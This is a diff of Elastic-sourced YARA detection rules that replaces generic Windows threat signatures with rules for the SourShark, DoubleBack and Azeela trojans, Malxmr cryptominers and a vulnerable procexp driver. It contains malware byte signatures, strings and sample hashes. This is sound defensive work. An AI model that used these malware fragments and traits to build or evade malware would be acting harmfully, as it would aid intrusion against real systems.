+		$seq_cmd_send = { 8B 45 ?? 83 F8 ?? 0F 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 78 ?? 48 8B 70 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? }
+		$seq_cfg_get = { 8B 45 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 48 8B 45 ?? 48 8B 38 48 8B 70 ?? 8B 55 ?? E8 ?? ?? ?? ?? 89 45 ?? E9 ?? ?? ?? ?? }
+		$seq_proc_list = { 48 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 48 8B 85 ?? ?? ?? ?? 89 48 ?? 8B 4D ?? 48 8B 85 ?? ?? ?? ?? 89 48 ?? 8B 4D ?? 48 8B 85 ?? ?? ?? ?? }
+		$rc4_key = { D9 F9 36 CE 62 8C 3E 5D 9B 36 95 69 4D 1C DE 79 E4 70 E9 38 06 4D 98 FB F4 EF 98 0A 55 58 D1 C9 0C 7E 65 0C 23 62 A2 1B 91 4A BD 17 3A BA 5C 0E 58 37 C4 7B 89 F7 4C 5B 23 A7 29 4C C1 CF D1 1B }
 
 	condition:
-		all of them
+		4 of ($str*) or 3 of ($seq*) or $rc4_key
 }
-rule ELASTIC_Windows_Generic_Threat_Dbae6542 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Procexp_Aeb4E5C0 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Name: procexp.Sys, Version: 16.65535.65535.65535"
 		author = "Elastic Security"
-		id = "dbae6542-b343-4320-884c-c0ce97a431f1"
-		date = "2024-01-10"
-		modified = "2024-01-12"
+		id = "aeb4e5c0-5ed5-4ecf-95a5-a741c105f02f"
+		date = "2022-04-04"
+		modified = "2022-10-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L874-L892"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c73f533f96ed894b9ff717da195083a594673e218ee9a269e360353b9c9a0283"
-		logic_hash = "673c6b4e6aaa127d45b21d0283437000fbc507a84ecd7a326448869d63759aee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_ProcExp.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
+		logic_hash = "827bb2efb6d3442233f81e87a42a3f5ee5caaeadc459070c6d347c6515866c93"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "880aafd423494eccab31342bdfec392fdf4a7b4d98614a0c3b5302d62bcf5ba8"
+		tags = "FILE"
+		fingerprint = "b06d9e07aebfe4acadb717f7a8534feb6863b0649cd10fbbf9b53587a855ea01"
+		threat_name = "Windows.VulnDriver.ProcExp"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 20 B8 0B 00 00 20 10 27 00 00 6F 29 00 00 0A 28 1F 00 00 0A 7E 0F 00 00 04 2D 0A 28 27 00 00 06 28 19 00 00 06 7E 15 00 00 04 6F 2A 00 00 0A 26 17 2D C8 2A EE 16 80 0F 00 00 04 14 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 70 00 72 00 6F 00 63 00 65 00 78 00 70 00 2E 00 53 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\xff][\x00-\xff])([\x00-\x10][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\xff][\x00-\xff])([\x00-\x0f][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\xfe][\x00-\xff])([\x00-\x10][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\xff][\x00-\xff])([\x00-\x10][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xfe][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Generic_Threat_808F680E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sourshark_F0247Cce : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Sourshark (Windows.Trojan.SourShark)"
 		author = "Elastic Security"
-		id = "808f680e-db35-488f-b942-79213890b336"
-		date = "2024-01-10"
-		modified = "2024-01-12"
+		id = "f0247cce-b983-41a1-9118-fd4c23e3d099"
+		date = "2024-06-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L894-L912"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "df6955522532e365239b94e9d834ff5eeeb354eec3e3672c48be88725849ac1c"
-		logic_hash = "22d91a87c01b401d4a203fbabb93a9b45fd6d8819125c56d9c427449b06d2f84"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SourShark.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07eb88c69437ee6e3ea2fbab5f2fbd8e846125d18c1da7d72bb462e9d083c9fc"
+		logic_hash = "0c5d802b5bfc771bdf5df541b18c7ab9de4f420fd3928bfd85b1a71cca2af1bc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4b4b3b244d0168b11a8df4805f9043c6e4039ced332a7ba9c9d0d962ad6f6a0e"
-		severity = 50
+		fingerprint = "174d6683890b855a06c672423b4a0b3aa291558d8a2af4771b931d186ce3cb63"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 20 00 00 00 00 FE 01 2A 13 30 02 00 6C 00 00 00 01 00 00 11 20 00 00 00 00 FE 0E 00 00 38 54 00 00 00 00 FE 0C 00 00 20 01 00 00 00 FE 01 39 12 00 00 00 FE 09 01 00 FE 09 02 00 51 }
+		$a1 = "%s\\svchost.%s"
+		$a2 = "crypto_domain"
+		$a3 = "postback_id"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_073909Cf : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sourshark_Adee8A17 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Sourshark (Windows.Trojan.SourShark)"
 		author = "Elastic Security"
-		id = "073909cf-7e0d-48fa-a631-e1b641040570"
-		date = "2024-01-10"
-		modified = "2024-01-12"
+		id = "adee8a17-cc0c-40b8-9ee6-a01b41e9befd"
+		date = "2024-06-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L914-L932"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "89a6dc518c119b39252889632bd18d9dfdae687f7621310fb14b684d2f85dad8"
-		logic_hash = "5b42a74010549c884ff85a67b9add6b82a8109a953473cc1439581976f8f545e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SourShark.yar#L23-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07eb88c69437ee6e3ea2fbab5f2fbd8e846125d18c1da7d72bb462e9d083c9fc"
+		logic_hash = "98a4d31849a1828c2154b5032a81580f5dcc8d4a65b96dea3a727e2a82a51666"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "717da3b409c002ff6c6428690faf6e6018daedfaf9ec95b6fb9884cacc27dc20"
-		severity = 50
+		fingerprint = "f35ebe8a220693ef6288efae0d325c3f40e70836c088599cb9b620c59fab09da"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 C4 F0 53 56 89 55 FC 8B F0 8B 45 FC E8 CF E5 FF FF 33 C0 55 68 F2 39 40 00 64 FF 30 64 89 20 33 DB 68 04 3A 40 00 68 0C 3A 40 00 E8 70 FC FF FF 50 E8 82 FC FF FF 89 45 F8 68 18 3A }
+		$a = { 8B 45 08 8B 4C BE 08 8A 04 02 02 C3 02 C1 0F B6 D8 8B 44 9E 08 89 44 BE 08 8D 42 01 33 D2 89 4C 9E 08 47 83 F8 20 0F 4C D0 81 FF 00 01 00 00 7C CF 8B 16 33 FF 8B 5E 04 39 7D FC 7E 33 0F 1F 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_820Fe9C9 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Azeela_Aad9D6Cc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Azeela (Linux.Trojan.Azeela)"
 		author = "Elastic Security"
-		id = "820fe9c9-2abc-4dd5-84e2-a74fbded4dc6"
-		date = "2024-01-11"
-		modified = "2024-02-08"
+		id = "aad9d6cc-32ff-431a-9914-01c7adc80877"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L934-L952"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1102a499b8a863bdbfd978a1d17270990e6b7fe60ce54b9dd17492234aad2f8c"
-		logic_hash = "81a1359bd5781e1eefb6ae06c6b2ad9e94cc6318c1f81f84c06f0b236b6e84d1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Azeela.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6c476a7457ae07eca3d3d19eda6bb6b6b3fa61fa72722958b5a77caff899aaa6"
+		logic_hash = "efc8b5de42a2ee2104dc8e8c25b313f6ced2fb291ba27dc8276822960dd7eb74"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e43f4fee9e23233bf8597decac79bda4790b5682f5e0fe86e3a13cb18724ea3e"
-		severity = 50
+		fingerprint = "3b7c73a378157350344d52acd6c210d5924cf55081b386d0d60345e4c44c5921"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 2E 2A 73 74 72 75 63 74 20 7B 20 46 20 75 69 6E 74 70 74 72 3B 20 58 30 20 63 68 61 6E 20 73 74 72 69 6E 67 3B 20 58 31 20 62 6F 6F 6C 20 7D }
+		$a = { C0 74 07 B8 01 00 00 00 EB 31 48 8B 45 F8 0F B6 00 3C FF 74 21 48 83 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_89Efd1B4 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Doubleback_D2246A35 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Doubleback (Windows.Trojan.DoubleBack)"
 		author = "Elastic Security"
-		id = "89efd1b4-9a4b-4749-8b34-630883d2d45b"
-		date = "2024-01-11"
-		modified = "2024-02-08"
+		id = "d2246a35-e582-4707-acd0-f04bb66df722"
+		date = "2022-05-29"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L954-L972"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "937c8bc3c89bb9c05b2cb859c4bf0f47020917a309bbadca36236434c8cdc8b9"
-		logic_hash = "49a7875fd9c31c5c9b593aed75a28fadb586294422b75c7a8eeba2e8ff254753"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DoubleBack.yar#L1-L31"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "03d2a0747d06458ccddf65ff5847a511a105e0ad4dcb5134082623af6f705012"
+		logic_hash = "2241d2c6e5b5896fe6f3b02cb1786c39fa620ee503c4585bd75c8763b6d3c06a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "659bdc9af01212de3d2492e0805e801b0a00630bd699360be15d3fe5b221f6b3"
-		severity = 50
+		fingerprint = "949f8d30125fad133f4b897c945c6aa0eccda5456dc887bde4c0a5affece5195"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 48 81 EC E0 01 00 00 48 89 9C 24 F8 01 00 00 48 83 F9 42 0F 85 03 01 00 00 48 89 84 24 F0 01 00 00 48 89 9C 24 F8 01 00 00 44 0F 11 BC 24 88 01 00 00 44 0F 11 BC 24 90 01 00 00 44 0F 11 BC 24 }
+		$s1 = "client.dll" ascii fullword
+		$s2 = "=i.ext;" ascii fullword
+		$s3 = "## dbg delay" ascii fullword
+		$s4 = "ehost"
+		$s5 = "msie"
+		$s6 = "POST"
+		$s7 = "%s(%04Xh:%u/%u)[%s %s]: %s" ascii fullword
+		$x64_powershell_msi_check = { 81 3C 39 70 6F 77 65 74 ?? 81 3C 39 6D 73 69 65 41 }
+		$x86_powershell_msi_check = { 81 3C 30 70 6F 77 65 74 ?? 81 3C 30 6D 73 69 65 6A 03 5A 0F }
+		$x64_salted_hash_func = { 8B 7D ?? 4C 8D 45 ?? 81 C7 ?? ?? ?? ?? 48 8D 4D ?? BA 04 00 00 00 89 7D ?? }
+		$x86_salted_hash_func = { 8B 75 ?? 8D 45 ?? 50 6A ?? 81 C6 ?? ?? ?? ?? 8D 4D ?? 5A 89 75 ?? }
+		$x64_guid = { 48 83 EC ?? 45 33 C9 41 B8 DD CC BB AA 45 8D 51 ?? }
+		$x86_guid = { 55 8B EC 83 EC ?? B8 DD CC BB AA 56 57 6A ?? 8D 75 ?? 5F }
 
 	condition:
-		all of them
+		5 of ($s*) or 2 of ($x64_*) or 2 of ($x86_*)
 }
-rule ELASTIC_Windows_Generic_Threat_61315534 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_D13544D7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "61315534-9d80-428b-bc56-ff4836ab0c4a"
-		date = "2024-01-11"
-		modified = "2024-02-08"
+		id = "d13544d7-4834-4ce7-9339-9c933ee51b2c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L974-L992"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "819447ca71080f083b1061ed6e333bd9ef816abd5b0dd0b5e6a58511ab1ce8b9"
-		logic_hash = "0fdfe3bb6ebdaac4324a45dac8680f00684d0030419f26f3f72ed002bf5a2a34"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "85fa30ba59602199fd99463acf50bd607e755c2e18cd8843ffcfb6b1aca24bb3"
+		logic_hash = "fcb2fc7a84fbcd23f9a9d9fd2750c45ff881689670a373fce0cc444183d11999"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e5cff64bc04b271237015154ddeb275453536ffa8cbce60389b6ed37e6478788"
-		severity = 50
+		fingerprint = "02e1be4a7073e849b183851994c83f1f2077fe74cbcdd0b3066999d0c9499a09"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 51 51 8A 4D 08 F6 C1 01 74 0A DB 2D B0 D7 41 00 DB 5D 08 9B F6 C1 08 74 10 9B DF E0 DB 2D B0 D7 41 00 DD 5D F8 9B 9B DF E0 F6 C1 10 74 0A DB 2D BC D7 41 00 DD 5D F8 9B F6 C1 04 74 09 }
+		$a = { 51 50 4D 21 EB 4B 8D 0C 24 4C 89 54 24 90 4C 89 DD 48 BA AA AA AA AA AA AA }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Eab96Cf2 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_Ad09E090 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "eab96cf2-f25a-4149-9328-3f7af50b2ad8"
-		date = "2024-01-11"
-		modified = "2024-02-08"
+		id = "ad09e090-098e-461d-b967-e45654b902bb"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L994-L1012"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2be8a2c524f1fb2acb2af92bc56eb9377c4e16923a06f5ac2373811041ea7982"
-		logic_hash = "cc1dfc2c9c5e1fbc6282342dfbf3a6c834fa56fb6fc46569a24fa78535c5845f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cdd3d567fbcbdd6799afad241ae29acbe4ab549445e5c4fc0678d16e75b40dfa"
+		logic_hash = "6c2d548ba9f01444e8fe4b0aa8a0556970acac06d39bb7c87446b6b91ab0d129"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a07bbc803aa7ae54d0c0b2b15edf8378646f06906151998ac3d5491245813dd9"
-		severity = 50
+		fingerprint = "a62729bbe04eca01dbb3c56de63466ed115f30926fc5d203c9bae75a93227e09"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4B FF FF FF 5D 48 31 DB 53 49 BE 77 69 6E 68 74 74 70 00 41 56 48 89 E1 49 C7 C2 4C 77 26 07 FF D5 53 53 48 89 E1 53 5A 4D 31 C0 4D 31 C9 53 53 }
+		$a = { 24 50 8B 44 24 64 89 54 24 54 39 C3 77 0E 72 08 8B 44 24 60 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_11A56097 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_12299814 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "11a56097-c019-43dc-b401-c3bd5e88ce17"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "12299814-c916-4cad-a627-f8b082f5643d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1014-L1033"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "98d538c8f074d831b7a91e549e78f6549db5d2c53a10dbe82209d15d1c2e9b56"
-		logic_hash = "42f955c079752c787ac70682bc41fa31f3196d30051d7032276a0d4279d59d58"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eb3802496bd2fef72bd2a07e32ea753f69f1c2cc0b5a605e480f3bbb80b22676"
+		logic_hash = "52e8bcd0512cedf0fa048b6990a5d331f4302d99b00681c83a76587415894b1e"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "37fda03cc0d50dc8bf6adfb83369649047e73fe33929f6579bf806b343eb092c"
-		severity = 50
+		fingerprint = "b626f04a8648b0f42564df9c2ef3989e602d1307b18256e028450c495dc15260"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 6E 6F 69 74 70 65 63 78 45 74 61 6D 72 6F 46 65 67 61 6D 49 64 61 42 }
-		$a2 = { 65 74 75 62 69 72 74 74 41 65 74 65 6C 6F 73 62 4F }
+		$a = { 3C 40 00 83 C4 10 89 44 24 04 80 7D 00 00 74 97 83 EC 0C 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_F3Bef434 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_A47B77E4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "f3bef434-0688-4672-a02f-40615cc429b1"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "a47b77e4-0d8d-4714-8527-7b783f0f27b8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1035-L1053"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "98d538c8f074d831b7a91e549e78f6549db5d2c53a10dbe82209d15d1c2e9b56"
-		logic_hash = "efba0e1fbe6562a9aeaac23b851c31350e4ac6551e505be4986bddade92ca303"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "995b43ccb20343494e314824343a567fd85f430e241fdeb43704d9d4937d76cc"
+		logic_hash = "bd2b14c8b8e2649af837224fadb32bf0fb67ac403189063a8cb10ad344fb8015"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a05dfdf2f8f15335acb2772074ad42f306a4b33ab6a19bdac99a0215820a6f7b"
-		severity = 50
+		fingerprint = "635a35defde186972cd6626bd75a1e557a1a9008ab93b38ef1a3635b3210354b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 6F 70 00 06 EB 72 06 26 0A 00 01 45 6F 04 00 00 8F 7B 02 06 26 0A 00 01 44 6F 70 00 06 D5 72 00 00 00 B8 38 1D 2C EB 2C 1A 00 00 00 B8 38 14 04 00 00 8F 7B 00 00 00 BD 38 32 2C 00 00 00 BE 38 }
+		$a = { 8D 48 49 5E 97 87 DC 73 86 19 51 B3 36 1A 6E FC 8C CC 2C 6E 0B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_C6F131C5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_21D0550B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "c6f131c5-8737-4f48-a0fe-a94e9565481e"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "21d0550b-4f15-4481-ba9c-2be26ea8f81a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1055-L1073"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "247314baaaa993b8db9de7ef0e2998030f13b99d6fd0e17ffd59e31a8d17747a"
-		logic_hash = "5702a77fee0cd564916abdbfedf76d069bb7a5b6de0c4623150991d52dc02e42"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07db41a4ddaac802b04df5e5bbae0881fead30cb8f6fa53a8a2e1edf14f2d36b"
+		logic_hash = "c9a12eee281b1e944b5572142c5e18ff087989f45026a94268df22d483210178"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c4349bd78cdc64430d15caf7efd663ff88d79d69ecf9f8118122b9a85543057d"
-		severity = 50
+		fingerprint = "5b556d2e3e48fda57c741c4c7b9efb72aad579e5055df366cdb9cfa38e496494"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 20 48 8B 59 08 8B 13 44 8B 43 04 48 83 C3 08 89 D0 44 09 C0 74 07 E8 B6 FF FF FF EB E8 48 83 C4 20 5B C3 53 45 31 DB BB 0D 00 00 00 48 8B 41 10 45 89 DA 49 C1 E2 04 4A 83 3C 10 00 74 }
+		$a = { 3B 31 C0 48 83 C9 FF 48 89 EE F2 AE 48 8B 3B 48 F7 D1 48 FF C9 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_B2A054F8 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_C8Adb449 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "b2a054f8-160f-4932-b5fe-c7d78a1f9b74"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "c8adb449-3de5-4cdd-9b62-fe4bcbe82394"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1075-L1095"
